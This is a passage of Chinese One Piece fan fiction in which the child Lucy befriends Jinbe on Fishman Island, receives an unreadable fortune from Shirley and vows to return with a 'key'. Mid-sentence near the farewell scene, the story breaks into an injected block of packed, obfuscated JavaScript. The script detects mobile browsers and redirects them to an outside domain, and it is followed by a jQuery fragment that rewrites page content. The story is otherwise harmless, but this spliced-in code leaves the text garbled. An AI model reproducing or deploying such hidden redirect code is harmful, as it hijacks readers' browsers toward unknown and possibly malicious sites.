“难道我们没有一桶酒重要吗?我们比世界上所有的酒都重要啊!” 气氛陷入寂静。 那缪尔脸上浮现出一种空白的茫然,他眨眨眼,看着露西的眼神有几分不可置信。喝酒的泰格也诧异地看向女孩,眼神微微一颤,手中的酒杯不自觉地握紧,又缓缓松开。 比斯塔推了乔兹一把,大笑起来:“这个妹妹果然很有趣!老爹没有白收女儿!” 他扭头看向孩子:“露西,你是马尔科带出来的吧?” 露西摇头。 比斯塔挑眉:“怎么会,你简直跟他一模一样。” 露西掰着指头数:“还有萨奇、哈尔塔、以藏、金古多……” 大家又笑了。比斯塔揉了揉她的脑袋:“那他们把你教的很好啊。” 他扭头看向几个队长带着笑意的脸,温和而肯定地告诉孩子:“以后,你可以在后面加上我们的名字了。” 不管这壶酒到底是谁的,两个海贼团坐在一起,碰杯,再碰杯,痛饮三大碗。他们热烈地谈论各自遇到的奇事,鱼人们听得眼珠都要出来了,鱼群穿行在对话中,推着泡泡升起。 甚平和乔兹敬酒回来,顺着阿龙的视线看过去,看到露西。露西在一群人之间来回跑,跑到白胡子的成员这边,学着他们的模样碰杯,其实杯子里一滴酒都没有。跑到太阳海贼团这边,学着新郎的口吻,老气横秋地背着手,拖长声音问道:“你们都喝的好吗——还有什么需要的吗?” 拉克约一口酒喷出来,转身对着她的屁股拍了一下。孩子吓了一跳,看清是拉克约,又没事人似的转回来看向鱼人们。 泰格摇头:“谢谢你,不用。” 露西震惊。 这个红红的鱼人叔叔竟然没那么讨厌她了?好神奇啊。 “那我就走了哦,有什么需要叫我的名字。”她摆摆手,像一只蝴蝶飞走,却没有停在任何肩头,而是飞到闹脾气的白胡子身边。她站在那儿,开口没两句,生闷气的白胡子就递出手让她站回掌心送到肩上。女孩靠着船长坐下,像一只金色的鸟儿贴在他的耳边撒娇。白胡子重重哼气,动作却诚实地起身朝众人走来。 举着酒瓶你追我赶的海贼们噗地喷出酒来,怪叫着散开。白胡子没好气地在队长们身边坐下,比斯塔等人笑着解释,白胡子撑着下巴,眼神在酒水上打转,却真的没有再提拿酒的事情了。 “露西小姐真了不起啊。”甚平看着这一幕感叹,“虽说一艘船上最大的是船长,可关键时候也要有人拉的住整艘船。” 露西她就是这样的存在。 阿龙瞥了甚平一眼,视线回到那个女孩:“甚平,你偶尔也会说句对的话。养个这样的人类在船上,确实不错。” 30.占卜与告别 聚会过后,比斯塔没忘记自己说过的话,在靠近珊瑚之丘的地方找到一个泡泡工匠,帮露西打了一辆小车。孩子高兴地骑着那个有泡膜的车在白色的碎石路上转悠,踏板发出吱嘎吱嘎的声响。年轻的人鱼族从未见过传闻中拯救岛屿的白胡子海贼团,几个大胆的人鱼对视一眼,从彩色建筑后游出来。 “你们是白胡子海贼团的人吗?” 比斯塔转身,摘下帽子行礼:“我们是白胡子海贼团。” 人鱼们点头,第二个人鱼冲上来问他:“我听说白胡子救了鱼人岛,是真的吗?” “当然。” 人鱼们发出小小的惊呼:“那他长什么样呢?我们能见见他吗?” 比斯塔侧身,白胡子正坐在白色的建筑底下饶有兴致地和太阳海贼团的船员交谈,偶尔抬手,揉了一把骑着车从身边经过的露西的脑袋。 女孩踩着踏板扭转车头,生气地拍着铃铛发出抗议。 天真善良的人鱼们顿时一窝蜂涌了过去,好像见到什么百年难遇的大明星,将不宽敞的角落挤得水泄不通。她们叽叽喳喳地议论,眼神里满是崇拜与好奇。白胡子在她们眼中并不可怕,相反,他的形象随着鱼人岛上曾经目睹过的居民们声情并茂的描述变得愈发尊贵。 泰格看见那些花花绿绿的穿着在自己面前重叠起来,沉默地喝酒,将自己的存在隐形。 “呀,你是泰格!” 泰格眼皮一跳。 “那个大英雄泰格?”人鱼齐刷刷回头,瞬间包围住他。 泰格皱了皱眉。他本以为人鱼族会很讨厌他,毕竟是他害的整座鱼人岛被世界政府针对。 “哇,他的肌肉好硬啊。” “快看,这是和海军战斗留下的疤痕!” “哪里哪里?” “我也要摸……” 她们也太大胆了! 泰格狼狈地放下酒杯起身要逃,被人鱼们拉回来按在地上。孩子们游过去,五彩的尾巴和飘扬的发丝困住了他,他艰难地避开那些目光,探头大喊:“甚平——” 踏。 走路的甚平停下脚步:“在下好像听到泰格大哥的声音。” 一旁骑着车的露西肯定道:“甚平听错了。” 他们慢悠悠地沿着街道往前,缺油的踏板轴吱嘎吱嘎地碰撞着木屐的脆响。头顶上透明的水道里,人鱼族尖叫着冲过,撞上急转弯的透明管,泡泡打了个转。她的声音像坐过山车一样滑进交错的街道。 “甚平,你能上船吗?” 甚平说:“鱼人族的构造比较特殊,所以在下可以在海上呼吸。” 露西心里打了个勾。 “那你吃什么呢?” “我们和人类吃的基本一样。” 露西点头,又打了一个勾。 现在只剩下最后一个问题了。 “那你喜欢我吗?” 甚平点头:“在下当然喜欢你。” 露西停车,扭头,神情激动。 她刚要开口邀请,忽然,旁边的巷子里传来重物掉落的声音。 砰。 有人拉扯间撞倒了箱子,杂物滚落一地。鱼尾重重拍在墙上,扫把被抽的发出啪的声响,掉在地上后被不慎踩断,一脚踢出去,咚咚咚地翻过凹凸不平的路面。 “你敢反抗我?!”尖锐的男声传出巷子,声音消失了几秒,紧接着,又是一阵碰撞,什么东西被拖起来抡在墙上。露西立刻朝着声音骑去。 甚平夹住孩子,一手拎起破车,大步向巷子跑去。 “拿着钱滚回去!海贼船上不需要女人!” “出什么事了?” 怒气冲冲的背影顿了一下,转身。 是阿龙。 他皱着眉看向甚平,脸色阴沉得可怕,却意外的没有动手,只是扯了扯衣服从甚平身边走过。露西收回视线,巷子尽头,一个带着兜帽的黑发人鱼坐在箱子上喘气,痛苦地咳嗽。 她撑着墙坐起来,一下子掉在地上,兜帽滑落,露出少女的脸。 甚平连忙将露西和车子放下,两人快步靠近,露西扶住那个姐姐,不满道:“阿龙是坏人!” 她视线下移,突然咦了一声。 “这是阿龙的钱袋。” 她在海之森的时候见过。怎么在这个姐姐腿上呢? 甚平看着人鱼少女,总觉得她的脸有些眼熟,不太确定地开口:“夏莉?” 少女顿了一下,猛地抬头:“……甚平大哥?” “你们认识呀。” 甚平解释:“她是阿龙同父异母的妹妹。” 看着夏莉蜷缩起来的姿势,甚平露出不赞同的目光:“阿龙又打你了。” 夏莉摇头,站起来往巷子外走:“他是来给我送钱的。” 甚平看到阿龙的钱袋沉默了。 阿龙对这个同父异母的妹妹到底是什么感情,甚平说不清。阿龙总是对夏莉发火,训斥她对人类表达出亲近态度,并很早就利用她预言的能力开始赚钱。他抢走夏莉的预言所得,一出去就几天不回家,将夏莉锁在家里。可他每次回来,又会把更多的钱扔给夏莉,好像他自己完全不在乎这些贝利。夏莉就这样有一天没一天地见不到哥哥,却从来没有鱼人街的混混敢欺负她。 “甚平大哥,你们要离开鱼人岛,对吗?”夏莉抬头看他。 甚平看着热闹的珊瑚之丘,开口道:“没错。” “可是我听说海军和世界政府到处在找泰格大哥。”夏莉何其敏锐,意识到鱼人岛此刻的平静之下早已暗流汹涌。 已经被拒绝过一次的少女几乎是恳求地拉住他:“你们留在鱼人岛吧,我们回鱼人街!乙姬王妃说过她会保护每一位鱼人岛的居民,海军找不到我们——” “夏莉。”甚平告诉她,“我们不应该回鱼人街。” 他的眼神静静地燃烧着坚定的火焰:“我们没有错,泰格大哥更没有,我们不应该躲起来。” “海军想要处刑泰格大哥,那我们就证明给他们看——没人能在海上捉住鱼人!” “可是……” “阿龙是因为这个才和你生气走的?”甚平明白了,弯腰摸了摸夏莉的头,“别担心,有我们在,泰格大哥不会出事的。” “甚平的意思是,有他在,阿龙不会出事的。” 夏莉闻声看去,露西骑着车在原地转圈圈,并不觉得自己说了什么不对的话。 “真的吗?”夏莉问她。 露西一脚刹住车:“当然啦~甚平是我的朋友,他肯定很厉害!你放心吧,你哥哥一定会平安回来的!” 她像个小大人似的信誓旦旦。 甚平愣了愣,这才意识到夏莉真正的担心,他一直以为夏莉和阿龙之间没有任何感情……是他偏见了!甚平不由得生出一丝惭愧。 “露西小姐说得对,在下一定会拼尽全力保护阿龙和每一位太阳海贼团的船员。” 夏莉脸上的担忧终于开始松动,露出一个浅浅的笑容。露西蹬着车拖过去和她交换姓名,夏莉高兴地握住女孩的手,从衣服里拿出一个水晶球。 “你能知道未来发生什么?好厉害!”露西震惊,“你从来没有出错吗?” “从来没有。”夏莉抱着水晶球,突然一道灵光闪过:“露西,我帮你占卜一下吧。” “好啊。”露西将手放上去。 夏莉看着水晶球闭上眼,视线沉进一片黑暗。这个开端令做过无数次占卜的夏莉微微皱眉,一丝不太好的预感攥住她的心脏。 为什么没有画面? 她睁开眼,不安地动了动双手。 露西盯着她,问:“怎么样?” 夏莉对上她的眼睛,迅速移开目光:“我再看一下。” 她紧了紧拳头,重新扶住水晶球,闭眼。 黑暗中,所有知觉都消失了,她好像被混沌吞没,连意识都开始模糊。无法判断距离的前方忽然一点光芒亮起,然后是第二簇,第三簇,好像大片的虫子悉悉索索地朝着她爬过来!夏莉后退一步,想要逃,但白光大盛,世界瞬间亮的刺眼,她再次失去感知。 夏莉猛地眨眼。 轻风吹过她的发丝,带来海水的气味。她沉在深蓝色中,透明的气泡泛着咕噜往上涌。色块分成两截,一截墨蓝,一截灰白。晃眼的光点闪过眼前。 滴答。 夏莉再次眨眼。 依然是光。 她站在星空下。越来越多的星星点点开始闪烁,群星从头顶滑过,世界寂静无声。她身处璀璨,渺小至极。 她猛地睁眼,脸色苍白。水晶球从掌心滑落,被甚平一把接住。 “怎么样?”露西兴奋地凑近,“我成为了很厉害的人吗?” 夏莉动了动嘴唇,整个人还处在震撼下。她僵硬地眨了眨眼,目光移到露西身上。 “我……什么也没有看到。” 空气沉默了,升起的泡泡发出咕噜的轻响。 露西震惊地抱住自己的脸:“露西没有未来?!” 夏莉吞咽了一下口水,声音干涩:“不,不是,是我……没有看到你的未来。” 夏莉第一次遇见这样的情况。 没有画面,没有本人,只有光影,断断续续的、跳跃的三次变幻。这个叫露西的人类到底是什么人?夏莉猛然发现,她的后背已经湿透了,寒意从汗水中钻进她的脊背,令她一个激灵。水晶球恢复平静,夏莉直觉她的占卜没有失效,只是……只是为什么自己能看到画面,却看不到露西的存在? 失控的感觉让她不可避免地揪住胸前的衣服,心跳慌乱,手软得没有力气。 ……等等。 夏莉眼神闪了一下。 如果这就是预言的结果呢? 以往每一次,她看到的不是悲剧就是不幸,可是这一次,这一次预言的结果和以往都不一样,有的只是一片近乎安详的平和。这是不是说明她的预言并不只是针对坏事?她自诩是最厉害的占卜师,可如果占卜不到露西确切的未来,她的预言就仍有可以进步的地方?甚至,可以改变? 夏莉的眼睛一下子亮了。 她好像找到自己未来的路。 “露西!”少女猛地抱住她,吓得露西连忙查看自己的泡泡是不是还活着。夏莉用力将她按进怀里,一点泪水情不自禁地滴落在孩子的后背。 “谢谢你,露西……” 露西歪着脑袋,整张脸皱巴巴的写满困惑。她拍了拍夏莉的手臂,试探道:“不用谢?” 夏莉松开孩子,之前阴郁的气质一扫而空,她收起水晶球,郑重地握住露西的手,声音轻快:“我会继续努力的!下一次,让我再为露西占卜吧!” 她要成为能够占卜出露西未来的全大海最伟大的占卜师。 “哦!” “甚平大哥——!”小八站在远处高呼。 “咦,夏莉?”他看见夏莉,八只手打了个招呼。 “甚平大哥,啊,还有露西小姐,你们真的在一起啊。”小八指了指身后,“泰格大哥说让你回去,白胡子海贼团要返航了。” …… “甚平不和我们一起走吗?”露西站在船边,一只手死死拽住甚平的衣角不肯松开,委屈地看向白胡子。 甚平有些尴尬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190347|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地不知所措。 拉克约试图将他们分开,但他刚拉开露西的右手,孩子的左手已经抓住衣服。他只能头疼地去扯另一只手。 “他是太阳海贼团的人,当然跟着泰格走。” “可甚平是我的朋友啊。” 虽然她最想要的是甚平来当她的阿葵亚,但是阿葵亚已经是马尔科了。所以露西想好了,先把甚平带回船上,等她找到解决方法再和甚平签约。 拉克约伸手去握露西的左手,孩子先一步松开,让他扑了个空,跑进甚平的披风里藏了起来。拉克约无语地蹲在地上,回头看向老爹。 “露西。”白胡子开口了。 露西没有离开披风,孩子闷闷的声音透过布料传出来:“老爹,我们不能带甚平回船上吗?我已经打听好了,甚平喜欢住在哪里,喜欢吃什么,我可以和他分享我的房间!拜托了老爹!” “你当他是宝宝鱼吗?”那缪尔吐槽,“快出来!别和泰格大哥抢人啊,他还在呢!” 露西哼哼唧唧地往披风里缩起。 甚平这才意识到露西之前问他的三个问题是什么意思,他没想到孩子竟然会产生这样的误解,可同样的,他的心里升起一股暖流。被人在乎的感觉。 露西拽了拽他,问道:“甚平,你喜欢我的对不对?” “在下当然喜欢你。” 露西笑了起来。 “可是——” 露西的笑容停在脸上。 “露西小姐。”甚平毫不犹豫地对着披风开口,“在下早已发誓此生会追随泰格大哥。所以,在下只会留在太阳海贼团。” 披风后很久都没有声音。 露西慢吞吞地从那团黑色里走了出来。 “甚平……不愿意和我走?” “是的,在下不会和你走。” 鱼人的声音平静得有些过于冷酷。 鲸鱼安静地游过彼岸。 露西突然就想哭了。她的心脏被一只手攥住,像柠檬一样挤出酸水。眼窝里长出一汪浅浅的泪水,半边视线开始模糊,她觉得自己的眼睛沉重得下一秒就会崩溃。 甚平沉默地看着她,露西不想让他看见自己的脸,松开那块被攥得发烫的衣角,留下一块像是眼泪浸湿的深色。 “现在懂了吧,甚平是太阳海贼团的人,不可能和我们回去的。”拉克约搂住女孩往船上带,絮絮叨叨地解释给她听。露西嗯嗯地应着,一句话也听不见。 眼泪在打转。 “那我们就走了,有缘新世界见!” 太阳海贼团的诸位和白胡子海贼团的成员握手。 “露西!” 拉克约突然发出惊叫。 “甚平!”露西冲下跳板,对着那个背影大喊。 甚平转身,孩子喘着气停在他面前,金发沾湿在额头:“我明白了,我现在没有钥匙,所以甚平不会和我走。你放心,下一次我会带着钥匙来找你!” 比起执着于阿葵亚的身份,她还是更希望甚平成为星灵,她的家人。既然这样,她就主动去找一把能够让甚平安定下来的钥匙。 “……” 这不是没明白吗?! 甚平和太阳海贼团的船员面面相觑:“什么钥匙?” “是露西的过家家啦,她管喜欢的人叫星灵,上一个被这样称呼的是马尔科队长。” “小露西真的很喜欢你啊。”白胡子海贼团的成员们幽幽地叹气,投去嫉妒的一瞥。 “甚平,”露西看着他,一脸期待,“等我找到你的钥匙,你就做我的星灵好吗?” 甚平看着那对小心翼翼的眼睛。他的一生已经和太阳海贼团绑定了,就算白胡子亲自问他,他也不会加入对方的海贼团。可是…… “露西小姐,如果下次见面时你依然坚持这个想法,在下愿意和你签订契约。” 只是过家家的话,甚平恪守自己许过的诺言,这是他深思熟虑后能许给孩子最大的承诺。 “真的?”露西喜出望外,“拉钩!” “拉钩。” 露西笑了,像是终于得偿所愿。她握住自己拉钩的右手,抬头,眼神里透出一种不属于孩童的成熟:“甚平,我一定会带着钥匙回来找你的。” “群星见证了我们的誓言。” 那一刻,甚平看着她突然眼皮直跳,仿佛自己应下了一件不得了的事情。他回头去看白胡子的船员们,但船员们一脸慈祥笑容,甚平只能压下那点错觉,点头。 小八站在鱼人岛上挥舞双手告别,露西的视线长久地停留在那道蓝色的身影上,直到他和周围的海水融在一起。几个队长对视一眼,拉克约出声逗她:“露西,甚平一旦出海会很忙的,说不定忘了你的约定哦?” 他说着,挑眉看向周围的船员,幸灾乐祸地以为会看到孩子大哭。 露西没有回头,她站在那里,声音平静:“甚平不记得也没关系,群星见证了我们的誓言。” 她的眼睛里爆发出一种明亮的,势在必得的光芒:“所以下一次见面,甚平就是我的星灵了!” 海贼们大笑起来,第一次听到妹妹这样霸道的发言。 “哦哦哦,小露西已经是合格的海贼了!” “这下甚平跑不了了,露西可是很难缠的。” “可恶啊,我怎么没有这种待遇……” 他们吵吵闹闹地整理着物品,没有人将这句看似玩笑的占有的话放在心上。 露西抓着缆绳抬头,莫比迪克号驶进那片黑暗,可她的视线却透过黑暗一路向上,看到了海面上漫天星光。 不是玩笑,群星见证了我们的誓言。